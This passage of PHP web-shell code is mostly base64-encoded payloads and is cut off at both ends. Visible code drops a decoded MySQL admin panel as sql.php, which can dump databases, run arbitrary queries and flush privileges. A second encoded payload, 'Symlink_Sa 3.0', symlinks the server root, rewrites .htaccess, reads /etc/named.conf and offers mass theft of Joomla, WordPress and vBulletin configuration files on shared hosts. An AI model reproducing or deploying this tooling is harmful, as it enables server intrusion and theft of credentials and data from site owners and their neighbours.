RmaWVsZC0+bmFtZV0gLiAiIEFORCAiOw0KCQkJZWxzZQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgl9DQoJJGtleSA9IHN1YnN0ciggJGtleSwgMCwgc3RybGVuKCRrZXkpLTQgKTsNCg0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KDQoJdmlld0RhdGEoICIiICk7DQp9DQoNCmZ1bmN0aW9uIGZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZSkNCnsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCRkYm5hbWU7DQoNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdGFibGUiLCRteXNxbEhhbmRsZSk7DQoJJHRhYmxlZHVtcCA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0MpOw0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIiAuICR0YWJsZWR1bXBbJ0NyZWF0ZSBUYWJsZSddIC4gIjtcblxuIjsNCg0KCWVjaG8gJHRhYmxlZHVtcDsNCg0KCS8vIGdldCBkYXRhDQoJJHJvd3MgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNxbEhhbmRsZSk7DQoJJG51bWZpZWxkcz1teXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzLCBNWVNRTF9OVU0pKQ0KCXsNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZWxkY291bnRlciA9IC0xOw0KCQkkZmlyc3RmaWVsZCA9IDE7DQoJCS8vIGdldCBlYWNoIGZpZWxkJ3MgZGF0YQ0KCQl3aGlsZSAoKyskZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykNCgkJew0KCQkJaWYgKCEkZmlyc3RmaWVsZCkNCgkJCXsNCgkJCQkkdGFibGVkdW1wIC49ICcsICc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJGZpcnN0ZmllbGQgPSAwOw0KCQkJfQ0KDQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCg0KCQkkdGFibGVkdW1wIC49ICIpO1xuIjsNCg0KCQllY2hvICR0YWJsZWR1bXA7DQoNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KDQoJaWYoICRhY3Rpb24gPT0gImR1bXBUYWJsZSIgKXsNCg0KCQloZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGZpbGVuYW1lPSR0YWJsZW5hbWUuc3FsIik7DQoJCWhlYWRlcignQ29udGVudC10eXBlOiB1bmtub3duL3Vua25vd24nKTsNCgkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHRhYmxlbmFtZSk7DQoJCWVjaG8gIlxuXG5cbiI7DQoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkdGFibGVuYW1lIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCWV4aXQ7DQoNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoNCgkJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCgkJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFibGVzIiwkbXlzcWxIYW5kbGUpOw0KCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfTlVNKSkNCgkJew0KCQkJCWZldGNoX3RhYmxlX2R1bXBfc3FsKCRyb3dbMF0pOw0KCQkJCWVjaG8gIlxuXG5cbiI7DQoJCQkJZWNobyAiXHJcblxyXG5cclxuIyMjICRyb3dbMF0gVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJCQllY2hvICJcblxuXG4iOw0KCQl9DQoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkZGJuYW1lIERBVEFCQVNFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCWV4aXQ7DQoNCgl9DQoNCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KDQoJCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRxdWVyeVN0cjwvcD5cbiI7DQoJCWVjaG8gIjxocj5cbiI7DQoNCgkJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBib3JkZXI9MD5cbiI7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRjb2w7ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7DQoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOw0KCQl9DQoJCWVjaG8gIjwvdHI+XG4iOw0KDQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQoNCg0KDQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCg0KCWVjaG8gIjxocj5cbiI7DQoJZWNobyAiWyRVU0VSTkFNRV0gLSBcbiI7DQoNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWJHbHpkRVJDY3c9PSc+RGF0YWJhc2UgTGlzdDwvYT4gfCBcbiI7DQoJaWYoICR0YWJsZW5hbWUgIT0gIiIgKQ0KCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlRhYmxlIExpc3Q8L2E+IHwgIjsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJz5VdGlsczwvYT4gfFxuIjsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ291dCc+TG9nb3V0PC9hPlxuIjsNCg0KDQp9DQoNCg0KDQoNCi8vLS0tLS0tLS0tLS0tLSBNQUlOIC0tLS0tLS0tLS0tLS0gLy8NCmVycm9yX3JlcG9ydGluZygwKTsNCmluaV9zZXQgKCdkaXNwbGF5X2Vycm9ycycsIDApOw0KaW5pX3NldCAoJ2xvZ19lcnJvcnMnLCAwKTsNCg0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KDQoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxzZSApIHsNCg0KDQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoNCgl9IGVsc2Ugew0KDQoJCWlmKCAkYWN0aW9uID09ICJiR2x6ZEVSQ2N3PT0iICkNCgkJCWxpc3REYXRhYmFzZXMoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlREIiICkNCgkJCWNyZWF0ZURhdGFiYXNlKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRyb3BEQiIgKQ0KCQkJZHJvcERhdGFiYXNlKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImxpc3RUYWJsZXMiICkNCgkJCWxpc3RUYWJsZXMoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFibGUiICkNCgkJCWNyZWF0ZVRhYmxlKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRyb3BUYWJsZSIgKQ0KCQkJZHJvcFRhYmxlKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInZpZXdTY2hlbWEiICkNCgkJCXZpZXdTY2hlbWEoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkNCgkJCXZpZXdEYXRhKCAkcXVlcnlTdHIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZF9zdWJtaXQiICkNCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkIiApDQoJCQltYW5hZ2VGaWVsZCggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXRGaWVsZF9zdWJtaXQiICkNCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRyb3BGaWVsZCIgKQ0KCQkJZHJvcEZpZWxkKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIgKQ0KCQkJdmlld0RhdGEoICIiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGEiICkNCgkJCW1hbmFnZURhdGEoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGFfc3VibWl0IiApDQoJCQltYW5hZ2VEYXRhX3N1Ym1pdCggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEiICkNCgkJCW1hbmFnZURhdGEoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZGVsZXRlRGF0YSIgKQ0KCQkJZGVsZXRlRGF0YSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJ1dGlscyIgKQ0KCQkJdXRpbHMoKTsNCg0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQoNCg0KPz4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+TXlTUUwgSW50ZXJmYWNlIChEZXZlbG9wZWQgQnkgTW9oYWplcjIyKTwvdGl0bGU+DQo8Ym9keSBiZ0NvbG9yPSMyMDIwNDAgPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCjwhLS0NCnAubG9jYXRpb24gew0KCWNvbG9yOiAjMTFiYjMzOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQpoMSB7DQoJY29sb3I6ICNjMDAwMDA7DQp9DQp0aCB7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgljb2xvcjogIzExYmIzMzsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KdGQgew0KCWJhY2tncm91bmQtY29sb3I6ICM4MDgwODA7DQoJZm9udC1zaXplOiBzbWFsbDsNCn0NCmZvcm0gew0KCW1hcmdpbi10b3A6IDA7DQoJbWFyZ2luLWJvdHRvbTogMDsNCn0NCmEgew0KCXRleHQtZGVjb3JhdGlvbjpub25lOw0KCWNvbG9yOiAjODQ4MjAwOw0KCWZvbnQtc2l6ZTpzbWFsbDsNCn0NCkE6bGluayB7DQpDT0xPUjojRUVFRkQ1Ow0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KQ09MT1I6I2MwMDAwMDsNClRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KQ09MT1I6I2MwMDAwMDsNClRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQpjb2xvcjojYzAwMDAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQppbnB1dCwgc2VsZWN0LCB0ZXh0YXJlYSB7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDA0MDQwOw0KYm9yZGVyLXN0eWxlOiBzb2xpZDsNCmZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBhcmlhbCwgc2Fucy1zZXJpZjsNCmZvbnQtc2l6ZTpzbWFsbDsNCmNvbG9yOiAjMDAwMDAwOw0KcGFkZGluZzogMHB4Ow0KfQ0KLy8tLT4NCjwvc3R5bGU+DQo8L2hlYWQ+';$file = fopen("sql.php" ,"w+");$write = fwrite ($file ,base64_decode($crackftp));fclose($file);echo " ";}elseif ($action == 'sym1') {@chdir('damane');$symlinker = 'PD9waHANCg0Kc2V0X3RpbWVfbGltaXQoMCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQoNCg0KJHBhZ2VVUkwgPSAnaHR0cDovLycuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQokdSA9IGV4cGxvZGUoIi8iLCRwYWdlVVJMICk7DQokcGFnZVVSTCA9c3RyX3JlcGxhY2UoJHVbY291bnQoJHUpLTFdLCIiLCRwYWdlVVJMICk7DQoNCiRwYWdlRlRQID0gJ2Z0cDovLycuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJy9wdWJsaWNfaHRtbC8nLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KJHUgPSBleHBsb2RlKCIvIiwkcGFnZUZUUCApOw0KJHBhZ2VGVFAgPXN0cl9yZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZUZUUCApOw0KDQo/Pg0KICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KICAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4NCg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KDQo8aGVhZD4NCjx0aXRsZT5TeW1saW5rX1NhIDMuMDwvdGl0bGU+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoNCiAgaHRtbCxib2R5IHsNCiAgICAgbWFyZ2luOiAwOw0KICAgICBwYWRkaW5nOiAwOw0KICAgICBvdXRsaW5lOiAwOw0KfQ0KYXsNCg0KIGZvbnQtc2l6ZTogMTNweDsNCg0KfQ0KDQoNCmJvZHkgew0KICAgIGRpcmVjdGlvbjogbHRyOw0KICAgIGJhY2tncm91bmQtY29sb3I6I0Y0RjRGNDsNCgljb2xvcjogcmdiKDE1MywgMTUzLCAxNTMpOw0KICAgIHRleHQtYWxpZ246IGNlbnRlcg0KfQ0KDQoNCg0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0ew0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpjb2xvcjogIzAwMDAwMDsNCn0NCg0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0OmhvdmVyew0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggI0FBQUFBQTsNCn0NCg0KDQouaGVkciB7DQogIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7DQogIGZvbnQtc2l6ZTogMjJweDsNCg0KDQp9DQoNCi5jb250IGF7DQoNCiB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogY29sb3I6cmdiKDE1MywgMTUzLCAxNTMpOw0KIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7DQogZm9udC1zaXplOiAxNnB4Ow0KIHRleHQtc2hhZG93OiAwcHggMHB4IDNweCA7DQp9DQoNCi5jb250IGE6aG92ZXJ7DQoNCg0KICBjb2xvcjogI0VFRUVFRSA7DQogIHRleHQtc2hhZG93OjBweCAwcHggM3B4ICMwMDAwMDAgOw0KDQoNCn0NCg0KLnRtcCB0ciB0ZHsNCg0KYm9yZGVyOiBzb2xpZCAxcHggI0JCQkJCQjsNCg0KcGFkZGluZzogMnB4IDsNCiAgZm9udC1zaXplOiAxM3B4Ow0KfQ0KDQoudG1wIHRyIHRkIGEgew0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoNCg0KDQp9DQoNCi5mb3RlcnsNCiAgZm9udC1zaXplOiA5cHQ7DQogIGNvbG9yOiAjQUFBQUFBIDsNCiAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCi50bXAgdHIgdGQ6aG92ZXJ7DQoNCmJveC1zaGFkb3c6IDBweCAwcHggNHB4ICM4ODg4ODg7DQoNCn0NCi5mb3R7DQoNCmZvbnQtZmFtaWx5OlRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWY7DQoNCiAgZm9udC1zaXplOiAxMXB0Ow0KfQ0KLmZvciBhIDogaG92ZXJ7DQoNCnRleHQtc2hhZG93OiAwcHggMHB4IDFweCAjMzM2NkZGOw0KDQp9DQoNCg0KLmlyIHsNCiAgY29sb3I6ICNGRjAwMDA7DQp9DQoNCg0KDQo8L3N0eWxlPg0KDQo8L2hlYWQ+DQoNCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSdhbGwnPg0KDQoNCjw/cGhwDQoNCkBta2Rpcignc3ltJywwNzc3KTsNCiRodGNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQokZiA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsNCmZ3cml0ZSgkZiAsICRodGNzKTsNCg0KDQoNCkBzeW1saW5rKCIvIiwic3ltL3Jvb3QiKTsNCg0KJHBnID0gYmFzZW5hbWUoX19GSUxFX18pOw0KDQplY2hvICc8YnIgLz48ZGl2IGNsYXNzPSJoZWRyIj4gU3ltbGluayBTYSAzLjAgPGJyIC8+PC9kaXY+JyA7DQoNCmVjaG8gJzxiciAvPjxkaXYgY2xhc3M9ImhlZHIiPi06WyBVc2VyICYgRG9tYWlucyAmIFN5bWxpbmsgXTotPGJyIC8+PGJyIC8+PC9kaXY+JyA7DQoNCmVjaG8gJzxkaXYgY2xhc3M9ImNvbnQiPg0KDQpbPGEgaHJlZj0iPyI+IEhvbWUgPC9hPl0NCg0KWzxhIGhyZWY9Ij9zd3M9c3ltIj4gVXNlciAmIERvbWFpbnMgJiBTeW1saW5rIDwvYT5dDQoNCls8YSBocmVmPSI/c3dzPXNlYyI+IERvbWFpbnMgJiBTY3JpcHQgPC9hPl0NCg0KWyA8YSBocmVmPSI/c3dzPWZpbGUiPiBTeW1saW5rIEZpbGUgPC9hPl0NCg0KWzxhIGhyZWY9Ij9zd3M9cGFzc3dkIj4gU3ltbGluayBCeXBhc3MgPC9hPl0NCg0KPGJyIC8+PGJyIC8+DQoNClsgPGEgaHJlZj0iP3N3cz1yZWFkIj4gQnlwYXNzIFJlYWQgPC9hPl0NCg0KWyA8YSBocmVmPSI/c3dzPWpvb21sYSI+IE1hc3MgSm9vbWxhIDwvYT5dDQoNClsgPGEgaHJlZj0iP3N3cz13cCI+IE1hc3MgV29yZFByZXNzIDwvYT5dDQoNClsgPGEgaHJlZj0iP3N3cz12YiI+IE1hc3MgdkJ1bGxldGluIDwvYT5dDQoNClsgPGEgaHJlZj0iP3N3cz1oZWxwIj4gSGVscCA8L2E+XQ0KDQo8YnIgLz48YnIgLz48YnIgLz4NCg0KDQoNCg0KDQoNCjwvZGl2Pic7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFsnc3dzJ10pKQ0Kew0KDQpzd2l0Y2ggKCRfUkVRVUVTVFsnc3dzJ10pDQp7DQoNCi8vLyBEb21haW5zICsgU2NyaXB0cyAgLy8vDQoNCmNhc2UgJ3NlYyc6DQoNCmlmKCFAaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQokZDAwbSA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCg0KfWVsc2V7DQoNCiRk